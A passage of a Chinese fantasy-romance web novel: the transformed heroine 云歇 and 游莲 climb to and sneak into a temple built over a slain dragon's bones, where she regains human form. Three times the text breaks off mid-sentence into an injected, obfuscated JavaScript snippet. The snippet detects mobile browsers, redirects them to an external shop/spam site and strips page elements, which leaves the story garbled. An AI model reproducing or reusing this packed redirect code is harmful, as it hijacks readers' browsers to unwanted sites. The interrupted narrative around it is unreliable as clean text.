上是上到床上了,云歇气不过,一埋头,往他散在枕头上的头发滚。发丝又长又滑,带着点潮气,该是洗脸是蹭到的水珠,很快被滚得毛燥燥。不仅乱,还勒脖子。 云歇被缠成只蜘蛛网里的飞蛾。 游莲笑得拍床。 “别扯别扯,我也疼。”说着疼,笑却不停,他靠过来,伸手解她身上缠的头发。 作茧自缚。 云歇彻底放弃挣扎。 雷劫算什么。 这才是她的劫。 52. 乌折(3) 云歇发现了一些以前从来没有注意到的地方。 例如,自己的睡姿似乎有些差。 昨晚力争到底,与游莲各据一边,离着十万八千里。谁知今早一觉醒来,又拱在他怀里和他头发纠缠得难舍难分了。 兴师问罪吧,看位置,人家好端端在自己地盘上。是她越出划好的界线。 难道,是因为多年没有睡过觉,一时不适应吗? 可她闭眼一觉到天亮,传说中的梦都没做,哪来能耐造出这么大动静。 对此,游莲慷慨大度地表示:“没关系,又没有外人看到。” 说这话时,他将云歇整只狼放在膝头,低头解开头发包着的蝉蛹。云歇脑袋垫着爪子,毫不反抗,做什么都是闹笑话,任人上下其手。 他神色认真,垂落的发丝不时挠到她鼻尖。鼻子一下喷气,那缕头发荡起来,继而缓缓回落,又落上鼻尖。 恼人得很,云歇伸手去拨——哪有手,几粒圆圆短短的爪趾闯入眼帘,摸自个儿脑袋都够呛。更恼了。 游莲将她脑袋轻轻一揉,“好了。” 他近来对待她越发顺手,云歇被他撸得毛都炸了,转头就是一口。人躲开,顺势下床,披衣穿上。 转身又来抱她。 游莲的头发又密又长,太长了,一弯腰俯身,掺着阳光缝隙直往云歇身上坠。和它主人一样张牙舞爪,耀武扬威。总是缠到,怎能怪她。 云歇好想念自己的头发。还有手和脚。总之,能让她脱离眼前四肢无力、常常五体投地的困境,怎么都行。 乌折陵里街巷通坊市,叫卖打秤声隐隐越墙进僻静的小院里。 游莲随手将头发绑了。屋里头没镜子,他照着水缸绑的。洗漱完,拿着脸盆进来,盆里装满清凌凌的水,搁在桌上。云歇对盆看见里头自己的倒影,看一眼,眼不见为净。 一抬头,沾水打湿的雪白帕子兜头往她脸上摁。糊了一脸。 游莲看她水灵灵又恼火的眼睛,继续给她擦完脸擦脚,若无其事道:“昨晚你没洗脚就上床。” 白帕子一揩一只黑爪印。 云歇心头那股闷气顿时蔫蔫巴巴了。 敢情这几天她就是这么一副灰头土脸趟来趟去。 “没关系,长得黑,看不出来。”游莲说着,换了条干帕子抹她脸上的水。云歇半个不字没哼,抬爪让他多擦几遍。 把整只狼撸得蓬松干净,神清气爽。擦完,扯来垫子让趴着,拧干净帕子倒了水。游莲转身去换铺盖。 被踩了三个晚上的被子,他能忍到现在。说讲究,倒也不是那么讲究嘛。 云歇趴在满桌阳光里,看被子掀动震荡起一大片细小的尘埃,光束下折射出斑斓的色彩。 再斑斓,也很脏。 但因着尘埃群中站着的人,看上去似乎也不是那么难以忍受了。 可能是因为他的衣裳太白的缘故。像雪,好会骗人。 无所适从的窘迫,让云歇这几天时常陷入空茫茫中。一语概之,发呆。目光漫无目的转动,不知不觉停下来,长久注视于某一样事物。 满屋子里会动的事物拢共就那么一样,于是在云歇未来得及反应过来时,自己已经看了他好一会儿。 初时莫名其妙,后来听之任之。 反正,眼睛好像也不听她的话了。 一定是屋子太小。 屋小檐矮,身高腿长的人时常捉襟见肘,比起待在屋里,游莲更愿意往外走两步。也只是两步。 今日天光晴好,游莲搬了张椅子在院子里晒太阳,窄窄一线屋檐阴影落了大半身。 游莲坐椅子上,云歇趴他怀里。 他梳毛的手法极其娴熟,托抱的姿势也恰到好处,手肘一弯,刚好让云歇蜷尾趴窝。 摇了几下,昏昏欲睡。 说起来,这具躯壳羸弱到,撑不起长时间的清醒。一个时辰一小睡,三个时辰一大睡。仿佛要把之前没睡过的觉全补回来。 第一回她站在窗台一不小心眯眼,险些一个倒栽葱砸地上。幸好人离得近,一把捞起。自那开始,游莲就开始争夺云歇四个爪子的站地归属权。 “小孩子嘛,长身体,睡得多一些很正常。”游莲手一张,盖上云歇眼睛。 直射进瞳仁的阳光被挡住,修长指节照得透红,纤细的青蓝脉络若隐若现,从指腹连到掌根。 铃铛撞耳朵,有一搭没一搭。叮铃,叮铃。 熟悉的温度气息烙上眼皮,云歇眼睑越来越沉慢地眨动几次,彻底闭上。 小院太静,风一过,街头巷尾的杂声纷沓而至。秤砣砸进铁盘,酒沽入瓶中溅了几点香。箩筐破洞滚出个桃子,沿坡道一阶阶滚下街头,皮破肉烂,踩了路人一脚湿黏。 意识飘忽沉浮。某个时刻,阳光炙热非常,盖上头顶,一瞬从初夏迈入酷暑。蝉鸣拖长尾巴,没完没了。 好热。好吵。 云歇下意识扭头往阴凉处拱。 身下垫子一动。 不是垫子。 一道气息靠过来,试探问:“醒了?” 却不是意料之中的那人。 清澈的少年音。全然陌生。又有些耳熟。 似乎在哪里听到过。 不容云歇细细分辨,警惕心使她一下清醒。想睁眼,睁不开。身躯沉重,绑石沉在井底。 像一场梦魇。并不黑暗,阳光灿烂地糊黏在眼皮上。 “快醒醒。”有人抱着她轻轻地晃,“云歇,好云歇。你知不知道你长大了好多,已经不是小时候了。压了一早上,我的腿好麻,快醒醒。” 胡说八道。 她哪里长大了?要是长大她还能窝窝囊囊被人抱怀里?还不是都怪—— 说不清是怒气郁气太重,云歇一个使劲,从沉石井底挣出头,终于睁开了眼。 酷暑燥热一刹远离,刺眼的阳光退去屋脊后,暗下来。眼前仍是那只手,些微光线穿过指缝,落上眼睫。 有一瞬不知天上人间。 前头剁肉的砧板笃笃在响,再远一点,坊市喧闹跟风似的一阵阵推过来。 哪有什么蝉鸣声? “醒了?”熟悉的声音跟手掌将她头顶轻轻一揉,抹掉了最后一点迷思。 头顶屋檐夹着一线天,云歇踩着他衣裳起来,仰头去看。也不知道自己要看什么。 一转头,对上旁边一张黑不溜秋的陌生脸蛋。 男孩兴奋得满脸通红,双手捧腮:“哇哦,这只小狗长得好黑好好看。” 云歇:“……” 你才是小狗。 男孩十岁上下,是王家婶子的小儿子,名叫二柱。昨儿游莲给了一兜子点心,二柱被娘亲拎着耳朵训了好久贪吃,早上连忙摘了桃子送过来。 桃子好大,毛绒绒,白里透红,顶上还挂着翠绿的叶子,从树上摘下不久。薄皮一剥就破,甜水沾了游莲满手。 云歇一见,避他如蛇蝎,死死盯着游莲流到手腕骨的将滴未滴的几滴水。 “这么嫌弃我。”游莲作势就要往她头上蹭,立刻被狠狠骂了一声。 王二柱跟着浑身一怵:“这小狗好凶。咋叫起来和别的小狗不像咧。” 满眼好奇,蠢蠢欲动,手伸过来就要摸。 让人半路用胳膊拦住。只摸到片凉凉的白袖子。 游莲说:“不能摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050546|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 王二柱又是一怵:“是会咬人吗?” “对。”游莲拿帕子擦手,闲闲道,“咬断手指的那种。” 小孩立马把手缩回背后,老老实实,一声不吭。 其实心痒得不行。小狗毛发蓬松顺滑,太阳光底下照得闪闪发亮,窝在游莲怀里,睁着对圆圆大大的黑眼珠子。那对眼睛,比他在河里捞的最漂亮的鹅卵石还要漂亮好多好多。 看起来,不太像狗,倒和前些日子小叔叔抓的那只狐狸有些像。只是要再凶些,再—— 不知道怎么说了,但有一点,若是他敢伸出手,一定要付出些惨痛的代价。 桃子皮剥好,游莲翻出把小刀,轻巧在五指间一旋,削出片果肉。小孩看得双眼闪闪,凑过来吵着要再看一次,被桃子肉堵了嘴。 云歇严防死守桃子汁滴到头上,一错眼,鼻尖前递过来片果肉,鲜嫩,沁着甜汁儿。 还挺香。 游莲说:“尝尝。” 能睡自然能吃,不睡会困,不吃,肚子就会咕噜噜叫。 正低头咬下,忽然,一阵喧嚣越墙翻进来。 起先遥遥传来,锣鼓声、吵嚷声,浪涛似的从街头涌到巷尾,一浪高过一浪,直至万众欢呼。 其中,有两个字被频繁提起,口口相传。传到最后,叠出重重回音。 天师。 “几年前江里有条蛟龙,一翻身,我们镇上就淹了,只得躲到山头上。”王婶子说起往事心有余悸,不掩满面欢欣,“幸好天师下来,将妖怪一剑杀在山头,我们才有安生日子过。” “刚刚山上传来消息,说天师进庙了。” * 庙在东边的雁荡山顶。 乌折陵本就是连绵丘地上辟出的小镇,遥望东天一孤峰刺破云雾,便是雁荡山。 雁荡山山势险峻,其间峭壁悬崖无数,最险而又险一处,是当年晋国天师杀蛟龙,取龙骨镇压之地。 筑基开庙,为祭水庙。 山脚到祭水庙有九百九十九阶,一阶一阶向上爬升,宛如一条龙脊蜿蜒至云雾没顶处,看不到尽头。 云歇与游莲此时,便站在山脚,望山兴叹。 游莲道:“你说当时,宰蛟龙的时候怎么就不会挑个矮点的地方呢?” 这话问得奇怪。谁能答他。 按平时,这点高度,用不上破开虚空,云歇一个踮脚就能飞上去。但是现在,一个腿短得爬十阶都累够呛,一个风吹就咳,更指望不了。 宰蛟龙高点没事,问题是,建这样高的庙干嘛?寻常祭拜用香火,来这里祭拜怕是要赌命。 “既是镇压,自然不用香火。”游莲看出云歇的心思,解道,“越高越险越难爬,来的人越少。香火嘛,本就劳民伤财。” 险峰孤高,落日旁悬。游莲仰头望上一望,狠狠心道:“爬。” 云歇便蜷尾窝游莲怀里,看着他一阶一阶往上爬了。 这人的芥子戒里储藏了千奇百怪的诸多东西,云歇不信他一张飞行或缩地成尺的符篆都没有。即便他此时力竭难行,随意一张符篆,也足够二人轻易上到顶峰。 而且,他虽伤着,远不到要双足徒步的地步。 不知怎的,云歇莫名想起他提过一二回的母亲,虔心奉佛,逢庙必拜。在曾经香火飘荡成云的旧时,云歇看过许许多多信徒三步一跪五步一拜上山。长长的山道上身如蝼蚁,额头膝盖叩击山石的轻响微乎其微,也不知要累积几个百年才能恭请佛祖低眉。 或许,仍有人固执坚持这样古老的礼俗。 烟霞散尽,夜幕笼罩。游莲踏上第九百九十九阶,一道峙立悬崖口的庙门出现在眼前。 53. 乌折(4) 山高庙险,香客自然少。 但防不胜防,好事者把天师到来的消息不小心宣扬出去,闻讯而来的人将雁荡山道挤了个水泄不通。 可惜天路险,虽是九百九十九阶,却不是阶阶平坦。中间数段峭壁只有铁钩挂绳,上山只能脚踩山壁凿出的浅沟,抓绳而上。一个不慎大意,就会失足掉落深渊。 半道折返者无数。 消息一出,祭水庙里的数位高僧沙弥齐齐出动,分守各个岔路口,逢人便劝,磨破嘴皮子。堪堪在日落前把蹲在门前的最后一位香客劝走。 一转头,又上来一位。 留守最后准备关门的沙弥忙忙上前,张口阿弥陀佛,定睛一看,有些愣住:“施主好生面善。” 游莲双手合十回敬一礼,道:“我看师傅也好生面善。既合眼缘,有劳小师傅施施援手,让我进去敬上三柱香。” 沙弥见过顺杆子爬的,没见过爬这么快的,只得道:“庙中不奉神佛,且已夜深,庙中已是关门。施主有心,心诚即可。” 一般说到这里,平常香客就要知难而退了。 眼前这位明显不是平常香客,又道:“小师傅误会了,此次不是为拜神佛,而是祭奠故人。” 游莲面色哀伤:“他死在当年那一场洪水中,许久无人探望。我今天路过,想起来看一看。” 沙弥面色愈发肃穆,道声阿弥陀佛,“施主节哀顺变。” 说是这么说,路半点没让。 “庙中不奉神佛,亦不敢自居普度众生。请施主下山。” 悲情路走不通,游莲便走别的,振振有词:“现在下山多危险,你看天色,不小心失足如何是好。劳烦小师傅留我们借宿一晚,不必厢房不必斋膳,有片屋顶遮头就行。明早天一亮,我立刻下山。” 沙弥不为所动:“此时刚日落,天色尚早,施主年轻力壮。往这条路走一段,山腰有茅屋暂住。小僧借施主一盏灯,一根竹杖。请施主下山。” 云歇就这么看着两人你一言我一语地推来拉去。很明显,沙弥道心至坚,绝不轻易被花言巧语蒙蔽。 许是看出来者的冥顽不灵不可渡,沙弥提来挂在树枝上的一盏小灯,最后道声阿弥陀佛,转身关门,干脆利落。 游莲看了那紧闭的庙门一会儿,轻叹一声:“多费劲。” 云歇以为他该知难而退转身下山了,谁知他步伐一转,转向悬崖边缘。 祭水庙正面峙立悬崖口,底下即是万丈深渊。背倚雁荡山最高最险的一道尖峰。尖峰环抱祭水庙,下宽上窄,两端逐渐向峰顶收拢,利若剑尖。 整块山体光滑无比,直上直下,刀削斧砍一般。当年那蛟龙就是逃至此峰,向上攀顶时爪牙力竭,最终被一剑斩杀于此。 游莲此时,便是站在祭水庙与尖峰之间的一条夹缝,足下三寸之地不堪站立,不断往深渊下滚沙滑石,许久不听回声。他向上望,峰尖剑耸云端,天幕高不可攀。 何来不可攀。 游莲解了左手腕上的黑带子往掌心缠,目光如炬,却是带笑,侧目对云歇说:“再借你的发带一回。” 从游莲开始绑手,云歇便知道他要做什么了。 只见他左手抓住一块突出的岩石,借力一蹬,拔地而起,跃上数丈,抓住另一块。山壁中下一段尚有些沟沟壑壑,应是蛟龙利爪划出。越往上,坡度越陡,石壁越是光滑,抓无可抓。到最后,游莲几乎是五指强行插进石缝,仅凭强悍无比的身体,硬生生凿山而上。 他鬓发被汗水濡湿,喘息声渐重,混在越发剧烈的大风中。不觉力竭,反是亢奋无比,越战越勇。 云歇爪子抓在游莲肩颈那一段立足之处,看着脚底悬崖边的三寸之地随登高降下,直至成了肉眼不可见的一小点。 而在这时,游莲攀爬到顶,祭水庙全貌俯瞰无余。 峰顶无遮无挡,罡风激荡,乌云现月,月光皎洁无双。游莲一身白衣翻飞,回眸对云歇笑。云歇被吹成风筝,扯他头发当线,甚至想狠狠拍他唇红齿白的笑脸几巴掌。 不及缓口气,游莲将云歇一把抱进怀里,高声道:“抓紧我。” 云歇好想骂他,刚张口,风声直灌耳腔。 万仞山巅之处,纵身一跃而下。 云歇上登天,下达海,从未将任何艰险放在眼里,从未有过畏怯惧怕,从未变成这么一小只,被罡风刮得如风筝飘摇,生死全无法自控。 生平第一次,竟也体验了一回小命捏人手里、叫天天不应叫地地不灵的惊心动魄。 这个疯子。 人说登山易下山难,如今反过来,下山一瞬到底。 途径几处突出的岩石块,动辄头破血流。游莲一迳脚尖轻蹬,借势转向,一点一点挪至祭水庙正下方。降势更快,惊起飞鸟无数。幸而鸟是向上飞,不致打草惊蛇,引起底下注意。 不多时,风静衣合,落到一幽静环木之处。游莲踩上屋脊,步履无声。 可惜一墙之隔,险些与一队巡逻武僧撞上。 “谁?”一声轻喝。 一名武僧瞧见拐角处照下的可疑人影,当即提棍巡来。 拐角只有静默伫立的丛丛花木。 另一同行也拐过来,原地查探几番,并无异样,道:“是不是把树影子看错了。” “不可能,树影子怎么会动?” “风吹的吧,今晚风这么大。” 又一人说:“今夜天师到临,怎会有妖魔鬼怪敢猖狂,不要命了吗。定是你看错了。” “兴许是吧。” * 游莲身形隐在门后阴影,眉眼映着一线光,看外头几番搜查无果,逐渐远去。他低头往怀里看,道:“好了,没事了。” 话音未落,表情凝住。 云歇正一脸呸呸呸,力图呸出嘴里吃进去的头发丝。正是刚刚游莲跳崖,头发盖了她满脸的惨痛后果。呸不出来,呸得一脸狰狞。 头发丝细细长长,不知在牙齿尖绕了几连环。挣动时扯着他发根。 游莲忍俊不禁,无奈又好笑,伸手过去,轻轻掰云歇嘴巴,轻声哄:“等等,我看看,我先看看。” 刚刚匆忙,随手推开间黑暗屋子,没来得及细看有没有人。有人便是难免干戈,无人便算侥幸。幸好,游莲近来运气不错,随手推门进来的这间屋子,灰尘味颇大,久无住人。不见床铺,想来也不会冲撞晚归的人。 游莲拉开张凳子坐下。桌上寻不到蜡烛油灯,倒是有好几个木罐子,罐里插着好些根木棍子,扁扁长长。他顺手抽出一根,火折子一引,木棍子一头抖出小团火焰,往云歇嘴边照。 “来,啊——” 云歇嘴巴都啊累了,才听他说一声:“好了。”齿关当即一合,对他手指就是一口。 游莲边笑边躲,还记着手上拿的棍子,免得戳到,正要挪开,忽然摸到一端有些凹凸不平。似是刻了花纹。 这本是不相关的小事,但不知怎的,门外投进的一线光在木棍上一晃而过,抓住视线。 原是一支竹条,手指宽,削得扁长。摸上去边缘光滑,不见毛刺。清漆涂了两面。 此时,一头烧得焦黑,另一头的确刻了什么东西。是字。 竟然是一支签。 而游莲刚刚摸到的那些凹陷的纹路,则是签上刻的签文,八个字疏密有致,排成一列。头四个字以朱砂勾填刻痕,一线光正横过上头,看清字眼:缘劫相逢。 手指轻轻一颤,不自觉加重力道,指腹紧按住余下未看的四字,不平的触感激起心潮翻涌。 游莲略通卜卦之术。哪怕一窍不通,也不难从上面几个字看出。 似乎,是一支姻缘签。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063869|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡求签者,多为祈吉祛凶,求的无非是官运财路、姻缘子嗣等等等等。无论求什么,需握签筒虔诚跪拜,摇出一支,再请住持解签文。 总而言之,求官求财,每一支签都可解。求姻缘求子嗣,亦是每一支签都可解。 可没有这样直白的。 怕不是祭水庙里某个顽皮的小沙弥做着好玩,过不了住持那一关,于是搁置下来,连整罐签筒丢在这间杂物房里吃灰。游莲阴差阳错,抽了这一支,还引了火。好在没引到刻字的一头。 拇指上方,没盖住的地方,露出一点笔划刻痕。刻痕很深,水滴石穿一般的一个点。 还未上朱砂着色。 还未做成的一支签文。 游莲盯着那一点,如何也挪不开手指。 一签自成因果。因已经看到了,至于,果…… 云歇往屋中逛了一回,四面立着好高的柜子,没有柜子的地方也堆了好些桌椅、旧幡旧烛台。就是一间杂物房,无甚蹊跷。 转一圈回来,椅子上那人还愣着。手里抓着什么东西在看,一副苦大仇深的模样。云歇攀着他裤脚往上爬,爬到肩头,还未看清是什么,东西被人收进贴着心口的衣襟里。 好奇心升到顶峰,云歇伸爪往游莲襟口里拨。 又被躲开。 游莲擒住她爪子,脸转向门外,大半隐进黑暗,不知在看什么,眼底光芒明明灭灭,忽然问:“云歇,你看到了吗?” 这话问得突兀奇怪,转移话题无疑。但云歇知道他在问什么。 云歇“看”到了。 磅礴无比的,妖力。 自登雁荡山起始,越往山上走越是浓郁,直至进到这祭水庙中。 一遇风云便化龙。可惜那蛟龙机缘太差,历劫最虚弱之时,教人一剑斩杀在此处。躯壳陨亡数年,龙骨蛰伏镇压在这座山庙之下。催发出的妖力笼罩在整座山谷之间,恰好可解云歇燃眉之急。 连日来筋脉干涸,云歇寻了好几处灵气充沛之地,杯水车薪。她急需某种契机做引,以此打破雷劫禁锢。 “这里是龙尾埋骨处。”游莲说着,勾起一个笑,似是轻蔑,“若是这位故人可称做龙的话。龙头则在东南边,藏经阁压着,那里——” 东南边?恰好踩中云歇盲区,望都不知往哪个方向望。她踩着游莲膝头去张望,冷不丁,脚下一滑—— 就说他衣裳太滑了! 游莲正抬臂给云歇搭爪呢,没料到这遭,下意识伸手去捞。却是捞到了别的什么东西,流水一样滑过指缝。 屋中太暗,他来不及多想,俯身一把捞进怀中。 身上蓦地一重——重倒不如何重。但是比起之前双掌合捧就能抱起的重量,确实是重多了。 这与游莲预期截然相反,全没预料。甚至估错力道,腰腹肩上被撞了一撞,后背抵上桌角。 反应过来时,另一道气息已经近在咫尺,擦过他鼻尖。 撞到的地方不如何痛,热意轰然炸开,龟裂一样飞速爬满胸膛,钻进去,拿捏住心脏。 呼吸交错,由缓到急,混乱无序。 温热,湿润。 一线光直直闯进游莲的眼睛,云歇在其中看见自己的脸。 没有毛绒绒,一个鼻子两只眼。皮肤是白的,嘴唇是红的。 万分惊诧,云歇还未回神之前,不由自主,手指触摸上这只眼睛,试探真假。光线太亮,将他眼睛里的琉璃色照成化了的蜂蜜一般,粘稠,甜腻。 指尖将将点到眼下那一缕细细红线,另一只手握了上来。 这只手裹着层层黑带子,露出来的几根苍白指尖,俱是布着细细碎碎的小伤口。有的浅些只破了皮,有的深些还在往外沁血珠。全是方才徒手攀岩磨出来的。 这只手将云歇指尖轻轻握住。 “好久不见。” 54. 乌折(5) 好久不见。 话音刚落,游莲唇边的笑还没勾起,手被挣开,肩上一重,腰背重重推撞到桌上。撞了一回的地方又撞一次,怕是要青一团。 他浑不顾忌,仰头任怀里人撒野。 那一线光就这样错开,投注到云歇脸上,坠入他眼中。 云歇吃了许久窝囊气,一见这张罪魁祸首的脸,霎时新仇旧恨涌上心头。一手压制,倾身向前。虎口卡着游莲侧颈连下颌那一块骨头,几乎将他后脑勺摁上桌面。 漆黑的屋里,椅子桌脚连带着摇动,吱嘎吱嘎一阵响,几罐签跟着摇。 肢体碰撞,衣裳摩挲。逼出闷哼喘息声。 倏而一静。 轻轻两声笑。 “轻点,轻点。”游莲腹背受制,反手握住云歇指尖,力道很轻,声也轻轻,“人没走远。” 要不是顾及巡逻人在附近,云歇能当场将他连同桌子劈成两半。 好不容易挣出条通气的缝儿,游莲似恼非恼叹:“孩子大了不认人啊。” “谁是孩子?” “你说是谁?” 真是疯了才和他争论这种毫无意义的东西。定是这两天慢慢吞吞的动作思绪影响了。 而无论云歇做什么,游莲就仰着头,睁着双亮晶晶的眼睛注视她,好似做什么都可以。 那点光就在他眼里摇来荡去地晃。 忽而,人将头一偏,咳了几声。 这一咳,云歇掌心感受到轻震,不由得松开些,松了又松。 跳崖吃那么大风没见他有事,还有脸笑,云歇手只是虚掐着,这就咳上了。 真是会挑时机点。 咳完了,他就以着这副被欺负狠的模样,支着肘直起身。反倒将脖子更送进云歇掌心,皮下脉搏咕咚咕咚跳得湍急。 云歇手掌一侧,并指按在那处颈脉上,静待两息,道:“死不了。” 游莲一顿,继而笑弯眼,流光四溢,“谢谢你。” 几句话下来,云歇闹没了脾气,觉得好没意思。目光一挪,定到自己手上。不再是短短圆圆趾甲只有米粒小的爪子。 久违了。 翻看手掌,试着张握,随心所欲,力量充盈澎湃。 神清气爽。 “是不是很不一样?”游莲眼珠跟着云歇动作转,神情有些恍惚,道,“我也觉得很不一样。明明刚才还那么小小一只,突然之间,就……” 云歇拍开游莲伸来脸颊旁的手,“不要提小小一只。” “好好。听你的。”游莲略是无奈,转而卷她垂下肩头的长发,目光缱绻,满是赞叹,“真漂亮。” 难以想象。谁也理不清那样蓬松的绒毛,怎么幻化人形就成了这样绸缎般美丽的长发。虽然那时也是手感极佳,然而现在—— 游莲指尖陷在里头拔不出来。刚刚黑暗中捞到的就是这一捧,流水似的滑落在指间。流连不已。 云歇看完手,又看见缠在游莲手上的自己的发,一顿,一把擒住他的手腕,盯着道:“我的。” 游莲顺势低头看时,云歇已经扯开手背的结,黑带子散开好几圈往下掉。 游莲手往回缩,牵扯带子另一头,边说:“我的手好痛。” “活该。” 果然,有嘴骂人的滋味,真的是太棒了! “看来你真的很生我的气。” 游莲忍俊不禁,头颅顺势一低,靠上怀里人颈窝那块。他近来怀里很少空着,做惯了这个动作。 云歇还追着那段黑带子不放,想拿回来。不妨脖间一痒,下意识往后退了些,背后悬空,另一手向后一撑,撑在游莲腿上。 嗯?腿上? 云歇后知后觉此时姿势的不对劲。 近日来,她被抱上抱下习惯了,一时没发觉。 习惯即是恶习。最最可怕的恶习。短短几天下来,她竟然已经习惯坐在他腿上了? 耳边笑声已经没了,停在云歇颈窝处,同黑暗一道蛰伏着。呼吸轻轻扫过耳廓,温热,湿润。太轻太缓,带着某种克制意味,怕惊动什么。 又是一阵桌椅乱撞。 游莲反应过来时,怀里已经空了。那人形若鬼魅,抓不住,瞬间退去三步外,几与黑暗融为一体。中间就剩根黑带子牵着。 云歇一扯,另一头传来阻力,当即斥道:“放开。” 游莲说:“好啊,把我的手一起剁了就是。” “不要以为我不会。” “你会吗?”游莲手掌又往前绕了一圈,不松反紧,“那你跑什么?” 不知为何,他有一种捉住她某些把柄,拿作要挟的姿态。如果云歇还是刚刚的兽形,这会儿背上的毛都要炸开了。 手上又传来一下拉力,云歇站定不动,发带绷紧,绷出撕裂前夕的哀鸣声。 少顷,僵持的另一方轻轻叹了一口气,道:“这里没有镜子,你怎么绑头发。过来些,让我帮你,好吗?” 云歇:“怎么不是你过来?” “行,我过来。”游莲立刻站起过去了,动作迅速,似是就等着这句。 而云歇在反问出口的时候已经后悔了,这不就默认让他绑了吗?懊恼皱眉时,笑嘻嘻的那张脸已经穿过光束,靠到眼前,殷勤道:“你想怎么绑?小的几……几十年的老手艺,包客官满意。” 到这份儿上,也没什么争下去的必要了。 云歇松开手,想着,若是他再敢磨叽磨蹭,就一拳打烂这张笑脸。笑得再好看也没用。 他边解开带子边走近。气息味道自背后笼罩过来,头发被轻柔往下梳拢。 没有梳子,是他的手指。几乎是触碰到的一瞬间,某种,极其陌生的感受,从云歇头皮窜到脊梁尾椎,近似于毛骨悚然。在她变成小兽,被随意抱来摸去也不曾有过。只有领域被侵犯的威胁感。 云歇捏紧拳头。 这人不正经时忒讨人嫌,正经时却也再正经不过。刚好掐在忍耐的极限,也就几个呼吸间,背上手指挪开,那道气息拂到耳后:“好了。时辰快到,趁巡逻的再巡过来之前,我们先离开这里。” 屋外幽静,只有沉默的花木注视门开。 祭水庙地形狭长,龙尾修到龙头,处处可见太极卦阵,镇压极凶物。 巡逻武僧遍布天罗地网,全无死角。 游莲落半步跟着云歇身侧,指明方向。二人在巡逻两队交换间隙,极快脱身。一路如此。 经过数间寺堂,皆是神台空空,不见神佛塑身,不见经幡。空旷中只有近丈高的香鼎,三柱高香缓缓吐露云雾。 云歇问出心里放了很久的疑问:“既不要香火,又修上山的路?” “总有一些不撞南墙不回头的。”游莲不假思索道,“若是一条生路不给,岂非让人枉送性命。” 不多时,便到藏经阁。 这栋建筑,山巅俯瞰便可窥一二分巍峨,走近了,更见其精巧。 木塔高达数丈,斗拱衔檐,每级八面飞檐,各刻有姿态各异的飞龙,口含宝珠,下挂风铃,逐层递上,最高处塔刹如剑指。 风一过,许许多多串风铃同时摇摆,铃舌撞击,撞成淋漓的一面高墙。 藏经阁中灯火通明,脚步纷乱。 “……那地方多大妖鬼煞,进去凶多吉少,你们、你们竟就自己回来了?” 有人厉声喝问,无人敢答。 少顷,另一道声音响起,十几岁的少年声,犹带颤抖。 “城楼上有个凶鬼把守,靠近一步就拔剑,见人就杀。我们在外头守了多日,实在无法……” 另一道声音随后响起,比前者沉稳许多:“都怪我,本以为是天师遇险,这才寻过去。哪曾想竟遇上虚空裂缝……但有另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100431|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事不明。住持,我们方才进城,消息为何会泄露得这么快?” 最开始那道略显苍老的声音沉沉一叹:“他去时半点不遮掩,又是与商旅同行。想来失踪一事早已被有心人知晓,要借此大做文章。” “定是朝中那帮家伙干的,天天搞鬼!” “幸好,祭水庙从来谢绝香客祭拜。这几日劳烦住持加紧看守,任何人不得以任何名义进来探虚实。” 苍老声音道:“为今之计,唯有如此。” 略静片刻,许是氛围太过凝重,这声音又道:“你二人不必这副表情,他本领比你二人绰绰有余,你二人既无事,想来他也无事。” “多谢住持安慰。安不安危的倒也不是很担心,就怕心玩散了。你不是不知道他——”后头只剩一段挣扎的呜呜之声,像是被人捂住了嘴。 “这厢谢过住持。我与师弟还要叨扰两日,做好准备再往不渡——” 话音突止,一道掌风透窗而出,掀动檐角风铃,直袭云歇面门。同时屋中传出冷冷一喝:“谁!” 掌风化为乌有。 云歇拽着游莲踏落地,穿进浓密树影前往后一望,二楼大窗正映出三道急速奔近的身影。 偷听被发现,奇耻大辱。 本是不必的,奈何身边有个好说话的碍事家伙。 云歇捂住他三次嘴,还是被发现了。 早知先割掉舌头。 远近巡逻队闻风而来。 山庙树多,好藏身。弊端是,容易吵到树上睡觉的鸟儿,鸟儿一惊一乍一飞,踪迹不泄露都难。 二人很快从树林中脱身,而后头许多道脚步声正冲开枝叶。 面前一排屋舍,游莲随便推开扇门,扯着云歇躲进去。 刚才那间屋子全是灰尘味,这一间扑面而来的则是水汽。是的,水汽。太浓太重,漫成白雾浮动四周,一呼吸,云歇感觉鼻子在河里淹了一回。 墙上嵌了一些照明的珠子,似乎是夜明珠,笼着薄罩子,照得半明半晦。可以看见屋中被分为里外,格挡是几面梨黄纱帘,通顶垂到地面。帘子似乎也叫这里的水汽吸饱了,沉甸甸挂着,雾气又浓,看不出里间是什么情形。 这里是什么地方? 不容多看多想。 外头林叶静止,脚步声越近,伴随呼喝,巡逻武僧有序分队呈包围状搜查。 而这里有光,窗户又大,会透出影子。 